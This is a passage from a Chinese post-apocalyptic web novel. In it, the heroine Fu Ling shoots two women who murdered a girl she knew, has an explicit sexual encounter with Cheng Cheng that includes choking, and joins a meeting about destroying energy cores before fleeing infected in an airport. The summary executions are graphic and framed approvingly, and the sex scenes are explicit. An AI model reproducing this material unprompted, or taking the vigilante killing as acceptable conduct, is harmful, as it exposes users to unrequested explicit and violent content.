伏苓笑了一声。
游寂从她身后跨了出来,一时间,那些服务员的目光又从惊恐变成了惊喜。
变化之快,令人瞠目结舌。
伏苓微微勾唇,没管这些服务员,朝一旁的电梯走去。
游寂人摸狗样地对着这些服务员打声招呼,又默默地跟上伏苓当小弟。
伏苓摁下电梯按钮,等待电梯的过程中,她侧目问道:“你为什么那么执着于当父亲?”
游寂愣了愣,笑道:“我就想当爹不行吗?”
周围静默了一瞬,游寂又笑:“而且,你不是已经知道为什么了吗?”
幼时遭遇的那些事情,你早就知道了不是吗?
电梯门打开,伏苓率先走了进去,她耸耸肩:“我的意思是,为啥不叫母亲?这不是更令人无法无视吗?”
游寂:“……?”
他满脸不可置信地追了上去:“你听听你这说的是人话吗伏苓?谁能管一个大男人叫母亲啊?”
伏苓:“过奖。”
电梯门打开,79层到了。伏苓走了出去,目的地明确地朝着7902走去。
这时候时间已经不早了,好些房间的门都开着,有时会遇到出来的人,看到游寂后一脸惊喜地喊着“父亲”。
游寂一一打了招呼,他低着头跟在伏苓身后,突然问道:“你说,等我体内的核心能量消散,他们应该就不会再这样对我了吧?”
虽是问句,他的语气确实肯定的。
伏苓的语气依旧没什么感情:“对,所以你去死。”
游寂微微一愣,弯了弯眼:“好狠的心啊伏苓。”
他左右看看,好奇道:“你要接谁?”
伏苓打开7902的房门,面无表情:“一个小姑娘。”
她目光冷冷地看向正在屋内忙活的两个女生,突然觉得一阵心慌。
明明是早上,按道理来说,陆欣和仲安慧大概率不会早起。但此时,窗户大开,他们两人正不知在屋内清洁着什么。
看到伏苓开门,仲安慧看过来,瞳孔猛的一颤,哆哆嗦嗦道:“你居然没死?”
伏苓冷着脸扫了一圈屋内,鼻尖萦绕的淡淡的血腥气味,她眉心狠狠一跳,声音冷得掉渣:“梨先雪呢?”
陆欣退后了一步,强装镇定道:“她,她去哪了我们怎么会知道?”
伏苓没说话,软剑闪出,如绞龙一般接连击中两人的胸口,将他们硬生生砸在墙上。
陆欣呕出一口血来,还没来得及反应,伏苓就一脚踩上她的腹部,冰冷的能量枪重重地抵在她的太阳穴。
她脑子一片空白,下意识求饶:“别、别杀我。”
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伏苓满身戾气,一字一顿道:“我说,梨先雪呢?”
陆欣已经吓破了胆,面对着漆黑的枪口,她下意识哆哆嗦嗦地说了实话:“她、她死了!”
伏苓手上用力,枪口狠狠碾在她的皮肤上,渗出些许鲜血。她俯身,眼中杀意尽显:“哦?她是怎么死的?”
陆欣被吓得说不出话来了,只能一个劲摇头。
伏苓失了耐心,手指扣动扳机,干脆利落地将人放倒。
她冷着脸看向仲安慧:“她不愿意说,那就你来吧。”
仲安慧看着眼前血流成河的场景,崩溃喊道:“是陆欣!是陆欣杀了她!”
伏苓笑了笑,笑意却不达眼底:“是吗。”
她动作飞快,一枪子弹干脆地打上仲安慧的脚踝,在一声声惨叫中笑容甜美:“看来还是我在你们面前表现得太温柔了,居然让你们觉得我是个不会回来报复的人。”
游寂站在外面,看她一脸暴戾的模样眼中浮现出同样的兴奋。
这就是上位者的气质!是他梦寐以求的,让所有人都仰视着、恐惧着的形象!
仲安慧疼得满地打滚时,无意间撇见了游,眼中顿时燃起希望,一点点朝着他爬去,血迹在她身下留下一道长长的痕迹:“父亲!父亲大人,求您救我!”
对,父亲大人在这里,只要父亲大人出手,身后的女人根本算不上什么!
她恶狠狠地看向伏苓:“你等着!父亲大人不会放过你的!我要让你跟那贱人一同死在我的手里,被感染者撕碎!嚼烂!让你永远都没有翻身的余地!!”
仲安慧卖力地嘶吼着,仿佛已经看到了伏苓被父亲打倒在地,跪着朝她求饶。她嘴角居然隐隐露出一丝痛快的笑意。
嘶哑疯狂的吼叫声中,伏苓看着她,轻蔑地笑了一声。
仲安慧的笑僵在嘴角。
什么意思?她怎么还笑得出来?父亲为什么还不出手?怎么回事?怎么回事!
游寂低头,对着她友好地勾唇笑了一下,敷衍道:“让你失望了,我也打不过她。”
仲安慧眼中的光芒熄灭,瞬间变成了绝望的深渊,她面露惊恐地看着一步步朝她走来的伏苓,像在看一个索命的恶魔。
她不断后退:“别过来……”
她忽的想到什么,猛地将头重重地磕在地上,一下又一下:“是我们杀了她,我愿意向您赎罪,求你……求你……”
伏苓甩开软剑上残留的血迹,不咸不淡地“哦”了一声:“然后呢?”
仲安慧害怕得呜咽:“然后……然后……我们把她丢到城外去了。”
伏苓缓缓停下脚步,屋内陷入了死一般的寂静,仲安慧哆哆嗦嗦地抬起头,却在下一秒对上了漆黑的枪口。
伏苓的声音从枪口后面传来:“你该死。”
话音未落,她干脆利落地给了她脑袋一枪。
世界安静了。
她冷着脸跨过尸体,看向一脸欲言又止的游寂:“杀不得?”
“不,”游寂笑着朝她颔首,“只是在想,这一地血迹恐怕要清理不少时间。”
伏苓没什么心情说话,浑身萦绕着低气压。
她漫无目的地往前走了一段,转过身问游寂:“这边有地方可以看到外面吗?”
……
两人坐着电梯来到了88层。
这里还没来得及打扫,满地的狼藉。伏苓跨过地上的碎石,跟着游寂来到了内里的一处门前。
推开门,外面是一个仅供一人通过的圆形栈道,伏苓趴在栏杆上,静静地看着下方的场景。
四周依旧布满了密密麻麻的感染者,黄沙抚过,如同穿过一颗颗早已枯死的树木。
GE在她耳侧亮起红光,极快地将地下人群都扫了个遍,滴滴了两声,显示什么都没找到。
伏苓垂下眸子。
最后,竟然是一点遗物都没有剩下。
她脑中浮现出小姑娘胆怯却担心的目光,心中暴戾的情绪翻涌,怎么也平静不下来。
她忽地想起楚河说的那句“灾难降临的时候,相比于男人,女人的处境要更艰难一些。”
他算漏了一点,除了要对抗灾难和抱团的男人之外,还得提防着莫名对自己产生敌意的女性和自己控制不住泛滥的同情心。
末世中,善良无用。
寒风吹过她的发梢,伏苓终于后知后觉地开始痛恨这个世界,痛恨一切杀死善良和无辜的罪恶。
痛恨让世界变成这样的人。
游寂侧头看她一脸要死的表情:“你要去殉情吗?”
伏苓没心情理他:“滚。”
*
漩涡的气息出现,程承站起来,走向伏苓。
他敏锐地察觉到伏苓情绪的不对,看伏苓身后除了游寂外空无一人,立马意识到了什么,小心问道:“是发生什么事情了吗?”
游寂微笑着挪开步子:“没我什么事的话,我就先走了。”
说完,他便头也不回地溜了。
程承见他这样,心中愈发担忧,他轻轻唤道:“伏苓?”
伏苓缓缓抬起头,她眼眶微微泛红,胸口中翻涌的情绪怎么也平静不下来,心中有一团火,烧得她浑身难受。
她看着程承流露出担忧神色的眸子,突然一把抓住他的领子,逼他拉进了两人之间的距离。
两人的鼻尖几乎要碰在一起,伏苓微微抬头,吻了吻程承的鼻尖,轻声道:“去你房间。”
说是询问,其实倒不如说是通知。
因为在这句话说出口后,伏苓干脆利落地拎着程承的衣领往房间走,程承踉跄了一下,又乖顺地俯身顺着她的力道。
他耳尖又红了起来,等到伏苓将他推入还拉着窗帘的黑暗房间,将他堵在玄关吻上他的唇瓣时,耳尖的红顺着脸颊抵达脖颈。
他环住伏苓的腰,无意识地将她拉得更近,两人紧紧贴在一起,舌尖探入得也越来越深。
伏苓一把掐住程承的脖颈,逼迫他微微抬头,他顺从着,又将长腿伸开,让伏苓能更好发力。
这个吻,粗重而带着绚丽的窒息感,程承睫毛垂下来,随着伏苓的略显粗鲁的亲吻而微微颤抖。
不可否认的是,程承没有觉得难受,与此相反的,是无与伦比的刺激和几乎要灭顶的爽意。
黑暗增添了暧昧的氛围,黏稠的水声伴着急切的呼吸声,伏苓微微放开他些许,却被程承追着她的唇再次吻上。
他手掌干燥又带着薄茧,覆盖在她后颈,安抚一般地缓缓揉搓。
伏苓与他额头相抵,她轻声呢喃:“程承,再跟我表白一次吧。”
身下的人没有犹豫,他带着微喘,声音低哑:“伏苓,我爱你。”
床垫陷了进去,伏苓压住程承,用指尖挑逗般地剐蹭着程承的皮肤,引得他一阵阵战栗。
她低下头,轻轻吻了吻,说话间吐出的温热气息尽数喷洒:“舒服吗?”
程承一只手盖在眼睛上,湿润的红唇微微张着:“……嗯。”
他的皮肤似乎是天生的白,身体因为时常捂在衣服里,肤色要比他的脸要白上一些。
但此刻,雪般的白中掺着红。
很色情。
伏苓笑了一声,手往下,用指腹轻轻摩挲着。
程承猛地一颤,他下意识伸手往下,伏苓一巴掌拍上他的手背:“干什么?”
“我……”他又乖顺地收回手,眼神中满是情欲。他低声轻哼,声音又急又快:“……想出来。”
伏苓压低身体,吻上他的唇瓣,堵住了他接下来的话:“……不给。”
……
他的眼很漂亮,此刻汩汩朝外留着生理性的泪水。
下面的同样。
那片红的雪色里下起了雨。
滴滴答答地,顺着伏苓的手滑落。
伏苓卸了力道,有些懒散:“没开空调,有点冷。”
程承望着天花板,呆滞了好一会,才弯眼笑了笑,凑上去握住她的腰将她带入自己怀中。
他仰着头,吻去她从下巴上滑落的汗珠:“应该……也不需要空调了。”
人和野兽的最大区别在于人可以控制自己的欲望。
程承是这其中最习惯于克制的人。
他可以在恨之入骨的地方隐忍数年,一朝全灭仇敌,可以在伏苓欺身而上,堵住他的出口时死死咬着唇顺从。
但伏苓没想到,即便他的额头早已布满汗水,脖颈的青筋都微微暴起,也依旧在前戏的动作上谨慎轻柔。
最后还是伏苓受不了了,她摁着程承的手微微使力,咬牙切齿道:“你不急我急。”
程承看着她,那双深谭中的情绪终于浮现出水面,爆发出浓郁而灼人的情欲。
但他依旧低喘着,为自己辩解:“会……伤到你。”
伏苓敷衍地嗯了两声,催促:“赶紧的,伤不死我。”
“好吧,那我……”他凑上去吻了吻伏苓的唇,舌尖探入,又轻轻松开。他将额头抵在她的肩窝,说话时温热的呼吸喷洒在她的皮肤上:“……开始了。”
63. 百世同堂11
伏苓醒来的时候,已经是下午了。
她睁开眼睛,入目便是程承安静的睡颜。他碎发乖顺地垂下,鼻梁高挺,窗帘漏了缕光,温温柔柔地洒在他白皙的脸上。
伏苓缓缓眨了眨眼睛,翻了个身准备起来,背后却被温热的身体贴上,他拢住伏苓的腰,脸颊贴上她的脖颈,开口时声音还带着些哑:“去哪?”
伏苓顿了顿,道:“饿了。”
她的嗓子也哑得厉害,说了两个字,伏苓就闭上了嘴。
程承笑了一声,用鼻尖蹭了蹭她的脖颈,碎发扫过她的耳尖,有点痒。
他撑着身子起身,倒了杯温水递过来:“我去帮你找点吃的。”
床上安静了好几秒,才慢悠悠地从里面钻出个人。伏苓清了清嗓子,镇定地接过水杯喝了一口。
他随手套了件长袖,开门出去。
伏苓起身下床。
她原本以为会浑身难受,起码在几年前的影视作品里,做了这种事情后,女主角都是腰酸背痛的,但意料之外的是,除了隐隐有些不适外,她身体上没有任何不舒服的症状。
她抬手拍了拍不知道什么时候晾在阳台上的衣服,又在沙发上瘫了。
也不知道是不是因为末世大家的体质好了,还是因为……
她抿了抿唇,捂着脸轻啧了一声。
说起来,早上程承被她弄成那样,伏苓还以为接下来他会急不可耐的,没想到这人下手一下比一下温柔,甚至整个都进去了,他也能任由汗水滴落、青筋暴起,轻柔地凑上去吻她,安抚她,到最后也愣是没让她有一点不舒服。
“咔哒”一声,门被轻轻打开,程承探进来一颗脑袋,小声问:“你衣服穿好了吗?”
伏苓坐了起来,面无表情:“差不多。”
程承进来半个身子:“随遇他们要来,你要不要收拾一下。”
伏苓挑眉:“卫生间你收拾。”
程承脸颊红了些,小声地“哦”了一声。
五分钟后。
林随遇坐在房间里的桌子旁,冷静道:“我有一个问题。”
伏苓慢条斯理地喝了口粥,林随遇看看她,又看看把矿泉水捏了又捏,最后目光乱瞥地打开瓶盖喝水的程承:“你们俩为什么会在一间房?”
程承险些将嘴里的水喷出来。
林随遇神色不变:“如果我没记错的话,我们好像是每人一张房卡吧?”
伏苓随口道:“哦,我房卡丢了。”
林随遇看着她,挑了挑眉,弯腰从地板上捡起那张传说中丢失了的房卡:“原来是这样。”
伏苓微笑着接过来:“谢谢,终于找到了。”
林随遇:“……”
程承摁着太阳穴坐下:“那什么,找我们是有事情要说吗?”
林随遇沉默了一瞬,轻轻“嗯”了一声。
伏苓推开碗筷,托着腮道:“是那瓶药水的事吧?”
程承微微一愣:“你怎么……”
“我只是不爱思考,又不是傻子。”伏苓说:“你们都说了随安重伤,治疗的手段只有忧忧有,她寻常的治疗牌也不可能让随安昏迷这么长时间,最后也就只有那瓶药水了。”
她顿了顿,目光认真起来:“林随遇,那个药水的副作用你确定可以承受吗?”
林随遇抿了抿唇,躲闪着避开了伏苓的目光:“这也是我来找你们的原因。”
他似乎有些难以启齿,纠结着沉默了半晌也没憋出下一句来。
伏苓笑笑:“你是想说,接下来你和随安都不会跟我们一起了,对吧?”
空气近乎凝滞,在长达两分钟的时间里,房间没有任何声音,像一潭寂静的死水,毫无生机。
林随遇闭了闭眼,声音有些颤抖:“对不起。”
程承给他递了杯水:“不用道歉。”
伏苓与他对视一眼,看向垂着眸的林随遇:“我们之间的关系并非是捆死的,如果你们不愿意,我也绝不会强迫你们同行。”
“更何况,”她顿了顿,“前方本就是一条未知的道路。”
“虽然不知道这个药水它到底能发挥到什么程度,但是看描述,如果你和随安跟我们继续前进的话,你的生命安全极有可能受到威胁。”程承喝了口水,润了润干涩的嗓子:“即使你不说,我们其实也并不建议你再跟我们继续。”
林随遇眼眶微红,他极力克制着情绪,声音却依旧颤抖得不像话:“谢谢你们。但是……真的对不起。”
看他一脸愧疚得仿佛下一秒就要自刎当场的模样,程承连忙道:“其实我也可以理解你,重要之人在自己面前险些失了性命,任谁都会有害怕退缩的情绪,我也不例外。”
伏苓看了他一眼。
程承越说越投入:“如果是我的话,我也会毫不犹豫地使用药水,不管说明上面说得再玄乎,我也愿意用性命去换……”
伏苓敲了敲桌子,程承瞬间闭嘴。
他支支吾吾道:“反正……之后,这件事你得告诉随安吧?”
林随遇又是一阵沉默。
程承意识到不对:“你不准备告诉她吗?”
“我觉得……没什么必要。”林随遇说:“药水已经用了,告诉她也是让她徒增烦恼,没有意义。”
程承与伏苓对视一眼,伏苓道:“你自己心里有数就行。”
林随遇点头:“我知道。”
他舒出一口气,站起身:“那我就先回去了。”
“诶,等等。”伏苓喊着了他,从一旁的背包里掏出一小串车钥匙:“车你们开着吧。”
林随遇下意识接过钥匙,愣愣道:“那你们呢?”
伏苓靠在椅背上:“游寂说丰镐机场还在运营,我们坐飞机去。”
等林随遇离开,程承趴在桌上,有些担忧:“真的没事吗?”
伏苓托着腮:“你还要强迫他告诉随安真相吗?”
“那怎么可能?”程承笑了,“算了,他自己决定就好了。”
他趴在桌子上看伏苓,突然眉眼弯弯,小声问:“有不舒服的地方吗?”
伏苓也趴了下去,两人的胳膊抵在一起,她笑:“应该是没有吧。”
“‘应该是没有’,那是舒服还是不舒服啊?”程承埋了半边脸,一双漂亮的眸子却亮晶晶地看着她。
两人看着看着突然一起笑了起来,伏苓脸颊贴着小臂:“还行……你动作挺温柔的,我没有不舒服。”
“哦……”绯红跑上耳尖,程承不自在地咳了一声,又像是在控诉一样道:“你就一点都不温柔。”
伏苓笑出了声,伸出食指戳了戳他的小臂上的肌肉:“怪我啊?”
指尖轻轻戳着他的手臂,有点痒。
程承抓住了她的手指,握上了她的手,又缠绵地将手指挤进她的指缝。
他挽着她的手拉至唇边,轻轻吻了吻,明眸却越过交缠的十指看向她:“我哪有。”
他将椅子挪近了一点,侧脸搁在胳膊上,另一只手仍旧与伏苓紧紧相扣。他认真道:“昨晚是不是遇到什么事情了?”
伏苓微微一顿,点了点头:“之前帮过我的一个小姑娘,被杀了。”
程承眉头皱起:“那……尸体呢?”
伏苓垂着眸看他:“被感染者分食了。”
房间安静了下来,程承指腹安抚性地摩挲着伏苓的手背,轻声道:“报仇了吗?”
伏苓轻轻点了点头,她叹了口气:“其实跟她没见过几面,也没说上几句话,但……”
她摇了摇头,没再说下去。她不太喜欢将负面情绪说给别人听,便转移了话题:“所以昨天回来情绪不太好,下手重了点。”
程承一噎,又慌忙眨着眼乱瞥:“哦……”
他兀自忙了一阵,又红着耳根支支吾吾道:“其实,我也……挺喜欢的。”
伏苓笑着看着他没说话,程承自己先不好意思了,率先试图松开手去忙一些他暂时还不知道该忙什么的事情。
他松开手却没挣得开,下意识看去。
伏苓扣着他的手,目光盯着他的眸子凑上去吻了吻他的指尖。
程承指尖一颤。
伏苓说:“程承。”
正常情况下,大家喊程承的时候,第二个字都微微上扬,伏苓也是一样。
但此刻,她确实将最后的那个“承”字咬得轻轻的,如同羽毛扫过心尖,让程承的心脏微微发痒。
他喉结轻轻滚动,低低地“嗯”了一声。
伏苓看他的样子,顿时又笑了,她半是认真半是揶揄道:“程承,你知不知道小狗特别喜欢主人闻它的爪子。”
她顿了顿,真诚道:“我觉得你也有点。”
程承炸毛:“我哪有!”
伏苓手上使力,将程承拽得一个踉跄向伏苓歪倒。
他下意识撑着手臂,鼻尖轻轻撞上伏苓的唇瓣,两人的距离陡然拉近。
伏苓亲了亲他的鼻尖,指尖勾引一般轻扫他的手心,声音满是缠绵:“八点集合,还有好长时间,要不要再来一次?”
“这次我保证温柔。”
……
北京时间20:00。
众人把套房的椅子都拉到一起,勉勉强强拼出来个圆桌会议。
程承顺手从沙发上拿了个小抱枕塞在伏苓腰后,俯身道:“这样舒服点。”
伏苓点点头,程承挨着她坐下。
祝无忧看着他们俩的交流,突然出声:“你们俩什么时候关系这么好了?”
程承一僵,狡辩道:“我们俩关系一直都挺好的。”
楚河的目光淡淡地扫了过来,停留了两秒后又了然地移开。
祝无忧“呵呵”两声,拉了一把林随遇:“你说是不是,他们俩的氛围就是很奇怪吧!”
林随遇漫不经心地点了点头,随口道:“对,他们俩还睡一个房间呢。”
祝无忧:“……”
祝无忧:“什么玩意?”
伏苓靠在软垫上:“说正事了。”
祝无忧哀怨地看着她,拉长了声音:“哦。”
游寂直勾勾地看着伏苓,正准备说话,伏苓抬起手打断他:“稍等。”
她敲了敲耳朵上的GE,红色光点一闪一闪,在伏苓对面的空位上投射出两个人的身影。
右侧的男人一脸颓靡,仿佛下一秒就要睡过去再也不醒来,他朝在场的各位一一点头:“大家好,我是方休。”
另一位则一身正气,严肃道:“我是谢增。”
他看向林随遇,略显恭敬地朝他打了声招呼:“林队。”
林随遇轻轻点头。
伏苓朝游寂和江则道:“你们的核心屏蔽了外界的消息传输通道,所以对之前的广播内容完全不知情,对吧?”
游寂愣住:“什么广播?”
伏苓了然地点点头:“行,我知道了。方医生会告诉你们。”
方休微笑:“看来丰镐的核心实力强劲啊。”
祝无忧瘪瘪嘴:“可不嘛,人家差点仅靠一人就把我们一锅端了。”
方休笑笑:“这一次拜托伏苓将大家都聚在一起,其实是想透露一下最新消息。”
房间内的视线都转向了方休,他不紧不慢地说:“研究发现,少部分核心可能拥有自主意识,我们猜测前提条件是实力远超一般核心。”
他的目光意有所指地看向游寂:“所以,丰镐的这颗核心很可能已经拥有了自我意识,对吧?”
游寂微微一愣。
他忽的想到了,伏苓他们见到自己童年的记忆,恐怕就与核心的自我意识有关。
游寂补充道:“进入丰镐的人,大家的基本信息核心也会告诉我,这个是不是也算自我意识的一种?”
方休眸子闪烁几下,又很快恢复常态,他点头:“当然。”
游寂草了一声,低声呢喃:“我还以为这也是核心的能力。”
楚河神色凝重,不经意地瞥了游寂一眼:“核心的自主意识还会做什么事?能控制持有者的思想吗?”
游寂还没来得及反驳,江则已经开始破口大骂:“你别血口喷人!父亲才不会被这鬼东西控制!”
游寂拍了拍他的肩膀示意他冷静,他快速过了一遍自持有核心以来所做过的事情:“不,我没有被它控制过。”
方休点点头,偏头跟身后没有被投影进来的研究员说了两句,又转头道:“感谢您为我们提供的案例。伏苓跟我简单说了一下丰镐的情况,我们怀疑,你不愿意毁掉核心其实也跟核心的自我意识有关,类似于孕妇被激素影响不愿意打掉畸形孩子。”
游寂愣了好半天:“不是的,我不愿意毁掉它只是因为一己私欲,以及……”他安静了一瞬,语气艰难地说:“我想保护丰镐的百姓,通过依靠核心的力量。”
楚河冷嗤一声。
“那你有没有想过利用别的方法来守护?”谢增突然开口:“一种不需要用到核心的方式。”
游寂看着他没说话。
他确实没有想过。
但是在他看来,利用核心的力量是最便捷效果最好的一种方式,既是如此,他没有思考过别的方法也在情理之中吧?
他攥紧了手,心中却开始摇摆不定。
方休温和地看了他一眼:“没关系,说到底我们也只是猜测,没有事实依据的实验结论都未必是正确的。”
他没有在这一点上过多纠结,看向伏苓:“小苓,你父母在的实验地点数据我已经找到了,之后发到GE上。”
伏苓点点头。
“那边非常危险,以如今的你们过去,几乎是九死一生。”方休顿了顿,“军方检测到,那个实验室连接着所有城市的核心,而每一颗核心都在汲取当地百姓、土地的生命力传输到实验室。”
“这也是我希望毁掉核心的重要原因,”方休推了推鼻梁上的金丝眼睛,目光从镜片中露出来:“只有切断核心,才能切断吸收百姓生命力的通道。小核心起不了什么风浪,但全国各地的强悍核心的毁灭却能有效降低肃州实验基地的危险性和百姓活下来的可能性。”
“在如今仍旧存在的核心中,只有两个大核心尤为重要。”谢增接过话头,将身后集庆军区会议的大屏幕露出来:“一是你们所在的丰镐,二是丰镐西面的金城。其他城市的核心交给军方,金城的那颗,可能还是得拜托你们。”
他点了点身后的屏幕,PPT切换动画是最简单的横屏切换,下一张写满了密密麻麻的数据。
如果是和平年代,这样的PPT一定是零分,但此刻没有人再去在意这些有的没的。
谢增转过身:“经过计算,这两个城的核心必须毁掉,否则肃州之战你们没有胜算。”
林随遇缓慢地眨了一下眼睛。
元真弱弱地举起了手:“你好,我想请问一下。军区不能去金城支援吗?单单靠伏苓他们,是不是有些强人所难了?”
楚河皱了皱眉:“如果可以的话,我……”
“不,”方休打断他:“我们都进不去。”
楚河抿了抿唇。
方休心中涌上一阵烦躁,但面上依旧是那幅云淡风轻的模样:“我们在几天前发现,国内多处系统都被入侵了,在场的各位,包括如果还活着的所有异能者、无能力者甚至感染者的信息都被他们掌握在手中。最重要的是,除却伏苓一行人,其他人甚至无法越过丰镐向西。”
祝无忧“哈”了一声:“个人信息泄露我能理解啊,毕竟八年前就已经很寻常了。最后那句什么意思啊?”
程承指节一下一下地轻轻叩着桌面:“是金城那颗核心。”
“没错。”方休赞许地看了一眼程承:“金城的核心辐射范围非常之大,加上它的自主意识协助,那颗核心能轻而易举地拦住所有它想拦住的人。”
真是棘手啊。
程承呼出一口气。
方休的面上也多了些忧虑,他摇着头叹了口气:“总之,我们要跟你们传递的消息就是这些。”
“我有一个要求。”游寂突然开口。他的目光缓缓对上了楚河的视线。
楚河:“看我干什么?”
游寂笑笑:“我体内核心的力量已经开始消散了,再过段时间,我的异能水平会大幅度降低,到时候我或许就没有能力仅凭我自己保护百姓了。”
“所以,”他顿了顿,语气别扭:“我能不能请你们留在丰镐,帮我一段时间?”
虽然游寂嘴上说着百姓死了也无所谓,但这八年来,丰镐的伤亡率却还是全国范围内最低的城市。
丰镐的大部分百姓被笼罩在他的异能之下,以至于他们如今基本上没有应对感染者的能力,如果核心破碎,保护的屏障破裂,丰镐根本承受不住感染者的进攻。
楚河移开目光,片刻后才淡淡道:“可以。”
闻言,游寂顿时松了口气:“谢谢啊,你再晚说一秒,我磕头的对象又要多一个了。”
楚河:“……大可不必。”
游寂笑了一下:“没事,反正我这人自小就没有自尊心。”
说着,他起身:“我得去外围盯着,现在我的异能强度应该已经没办法控制外面的感染者了,得时时刻刻关注着。”
江则亦步亦趋地跟着他:“我也去。”
楚河拍了拍元真的肩膀:“我们也去。”
几人离开后,方休便道:“行了,既然这样,我们也不久留了。”
伏苓点点头,投影随之关闭。
房间安静了一瞬,祝无忧眨眨眼睛:“我们什么时候走?”
程承起身准备离开:“接下来是场硬仗,在这里多修整几天。”
他顿了顿:“可以在丰镐的娱乐场所逛逛,再往西应该就见不到了。”
祝无忧瘪瘪嘴:“往东也没有啊。”
不得不说,丰镐在游寂的领导下的确保持着正常的社会秩序,基本的设施一个不落。
从这个角度来看,他功不可没,甚至是丰镐百姓可以给他烧高香的程度。
祝无忧哼唧了两声,又跳起来去抱伏苓:“我们一起去逛商场吗?”
伏苓挑眉。
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>说起来,她其实没怎么逛过商场,哪怕是八年前的日子里,她能悠闲度日的时光也不多。
她点点头:“好。”
她起身,指尖却被程承轻轻捏了捏,他将房卡塞到伏苓手里:“早点回来。”
祝无忧呆呆地看着两人毫不掩饰的动作:“什么房卡?你房间的?”
伏苓神色淡淡地“嗯”了一声:“走吗?”
“走走走。”祝无忧黏黏糊糊地抱着伏苓出了门。
林随遇敲了敲桌子:“别看了,人都走了。”
程承回神,清咳了一声:“那,我也回去了。”
林随遇没说话,程承走了两步,突然回头,看着他半是认真半是开玩笑道:“这两天你都变得不像你了。”
林随遇一愣,程承笑了笑,颊边梨涡一隐一现:“其实都不是什么大事,哪怕是觉得不好意思也没关系,这份愧疚可以留着,等之后一切尘埃落定,我们回集庆的时候请我们好好吃一顿,怎么样?“
他说得很真诚,许是心情不错,眼里一直满着笑意,一副根本没当回事的模样。
林随遇苦笑着叹了口气:“我知道。只是一直过不去心里这关,包括……”
他顿了顿,短暂的寂静像是在自我审视:“包括,我不知道该怎么跟谢增他们说。这样临阵脱逃的行为,实在不配自称是军区的人。”
程承知道这事自己没办法劝,只能靠他自己想通。
他拍了拍林随遇的肩膀,没说什么,开门离开了。
……
伏苓回来的时候,已经是后半夜了。
程承笑着看她:“这边不是十一点门禁吗?”
伏苓将手里的东西随手扔在桌子上:“去找游寂查了点事情。”
程承:“是关于那个女孩子的吗?”
伏苓沉默了一瞬,点了点头:“查到了她之前家里的住址,我明天去看看。”
程承揽过她的腰,把她带入怀中:“你还没跟我说,你跟这个女生到底发生了什么?”
伏苓微微勾了勾唇:“现在说。”
她飞快地将之前发生的事情讲述了一遍,程承看着她:“她跟你交集这么少,为什么会这么挂念?”
伏苓沉默一瞬:“就是觉得……她死得太荒唐了。”
她可以接受在与感染者对抗的过程中死去,可以接受在毁掉核心的路途中死去,可以接受任何有意义的牺牲,但不能接受一个活生生的人被另一群畜牲恶意凌辱致死。
这太荒唐了。
程承安抚性地抚着她的发丝:“社会秩序混乱,这样的事太多了。”
伏苓缓缓点了点头:“我知道。可我还是要为每一个逝去的人悲伤。”
程承笑了一声,吻上她的唇瓣:“好。明天,我陪你去吧。”
……
伏苓没祭拜过什么人,次日也只是寻了个梨先雪先前住的地方烧了个纸。
倒是程承对这些了解一些,熟练地完成了祭拜。
听说梨先雪的父母是第一批站出来抵抗感染者的勇士,游寂接管丰镐后,其实给她的待遇很好,最开始她的室友人很不错,后来外地人大量涌入,很多宿舍都被打乱,为了不给大家添麻烦,她也没有再要求什么特殊优待,随意被安排进了现在的宿舍。
只是没想到新室友会是这样的人。
祭拜完,两人漫无目的地转了会,便回了住处。
在丰镐悠闲地待了两三天,林随安还是没醒。林随遇面上的忧愁愈发多了起来。
伏苓建议道:“要不你们回集庆问问方医生?他应该会知道一些。”
她不清楚方休到底知道多少,但这人总是无所不知的。
林随遇点了点头:“只能这样了。”
程承拍了拍祝无忧的脑袋:“我们也该走了。”
祝无忧乖乖点头,对林随遇说:“那你们注意安全!”
林随遇脚步一顿,他轻轻笑了笑:“好。你们也是。”
游寂没骗他们,丰镐的机场还是能正常运行的,不过这八年来坐飞机的人寥寥无几——或者说,是没有一个人来过机场。
但机场的工作人员们都非常敬业地恪守岗位,看到几人出现,顿时迎了上来。
游寂四处看了看:“之前机场人挺多的,但是没什么人来坐飞机,所以调走了很多人。现在剩下的也就只有一组了。”
不过也够用就是了。
毕竟也不会丰镐也不会有人愿意离开安全屋去到别的危险地带。
工作人员恭恭敬敬地唤了一声“父亲”,游寂点点头:“这些都是我的朋友,你们在金城随便找个能降落的地方给他们扔下来就行。”
程承:“……如果是这样的话,没必要强调我们是你的朋友的。”
不知是听到程承的话还是想到了别的什么,游寂嘴角的笑都快憋不住了:“那你们自求多福,我就先走了。”
说完,他头也不回地溜了。
祝无忧嘴角抽搐了两下:“我怎么总感觉这人憋着什么坏呢?”
伏苓点头:“我猜也是。”
工作人员弯着腰给他们指了一下方向:“两位女士,先生,登机请从这边走。丰镐机场人流量小,只有一条道,走到登机口便可以了。”
他微笑:“接下来的路程,我无法时刻陪伴在您左右,请注意安全。”
程承皱了皱眉:“为什么要注意安全?”
伏苓看了他一眼,指了指自己:“你问我吗?”
祝无忧笑眯眯:“也可能是在问我!”
程承:“……”
他笑着摇了摇头:“走了。”
机场外面的玻璃是单向玻璃,三人在外面看不清里面的景象,直到他们踏入其中,才知道游寂在憋笑什么了。
只见广阔无垠的机场大厅内,密密麻麻地挤着无数感染者,他们漫无目的地四处游荡着,听到大门打开的声音后,猛地朝这里看来,粘稠的目光如潮水一般涌来。
三人脚步齐齐停住。
我杀游寂!
几乎是下一秒的事情,感染者瞬间找到了目标,疯了一般朝他们涌来。
程承飞快看向方才工作人员示意的方向,那里镜头的墙壁上有一个巨大的绿色箭头,道路上空无一人。
这个意思很明显了,游寂想让他们玩的,就是追击战。
他心中暗骂,旁边伏苓已经抽出软剑一脸不屑地准备上去干翻整个机场大厅的感染者,祝无忧满脸震惊,手指指着感染者抖啊抖也没蹦出个字来。
程承动作飞快,一手一个:“这边走!”
夕阳斜照,橘黄从机场大厅的玻璃墙中穿入,大厅被染成温暖的色调,是一副宁静祥和的模样——如果身后没有感染者追杀的话。
低沉的嘶吼紧咬不放,程承眼疾手快地薅了一把祝无忧,堪堪带着她都过身后感染者满是鲜血的爪子。
祝无忧边跑边哭:“我怎么这么惨呜呜呜。”
伏苓手臂撑在前方安检口外弯弯绕绕的栏杆,轻巧地翻了过去:“还有力气哭,应该是没什么大问题。”
祝无忧跌跌撞撞地跟着她翻过去,控诉道:“伏苓你变了!”
有刚刚祝无忧险些没跟上在前,程承果断地开始殿后。
身后感染者不管不顾地推搡着栏杆向他们扑过来,却无意间将栏杆横着堵在安检口,虽然没能拦住所有感染者,但身后的追杀总算是少了些压力。
